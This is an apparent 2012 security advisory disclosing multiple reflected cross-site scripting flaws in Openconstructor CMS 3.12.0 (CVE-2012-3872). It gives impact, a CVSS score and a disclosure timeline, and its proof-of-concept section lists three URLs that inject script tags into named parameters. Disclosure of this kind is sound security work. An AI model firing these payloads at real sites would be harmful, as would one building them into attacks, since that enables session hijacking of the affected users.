[CVE-2012-3872] Openconstructor CMS 3.12.0 Multiple Reflected Cross-site Scrpting vulnerabilities

[lorenzo.cantoni86@xxxxxxxxx]

###Title###: 
Openconstructor CMS 3.12.0 Multiple Reflected Cross-site Scrpting 
vulnerabilities


###Affected Software###:
http://www.openconstructor.org/
http://code.google.com/p/openconstructor/downloads/list
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234


###Description###: 
Openconstructor (formerly known as eSector Solutions Web Constructor) is an 
open source web Content Management System written in PHP. Multiple Reflected 
XSS vulnerabilities exist on different parameters of differnt pages. 
Verson 3.12.0 is vulnerable, previous version may be affected, but they have 
not been tested.


###CVE###
CVE-2012-3872


###Impact###: 
Attackers can execute malicious javascript in authenticated users's browser, 
through social engineering techniques.

CVSS Base Score: 4.0 (AV:N/AC:H/Au:N/C:P/I:P/A:N)


###Credits###:
Lorenzo Cantoni 


###Details###:
Vulnerabilities has been tested on Internet Explorer 7, as the application is 
designed to work with that browser. Newer version of the browser with the 
anti-xss filter enabled, may help to protect users from such attacks.


###Proof of Concept###:

1) 
http://hostname/openconstructor/data/file/edit.php?result=<script>alert('xss')</script>&id=new&ds_id=8&hybridid=&fieldid=&callback=&type=txt&name=test&description=test&fname=test&create=Save

Note: The right 'ds_id' must be set for an existing object. 

2) 
http://hostname/openconstructor/confirm.php?q=<script>alert('XSS')</script>skin=metallic

3) 
http://hostname/openconstructor/users/users.php?type=multiple&keyword=<script>alert('xss')</script>


###Disclosure###
[08/07/2012] Lead Developer contacted.
[22/07/2012] No response. Sent another mail.
[04/08/2012] Still no response. Public disclosure.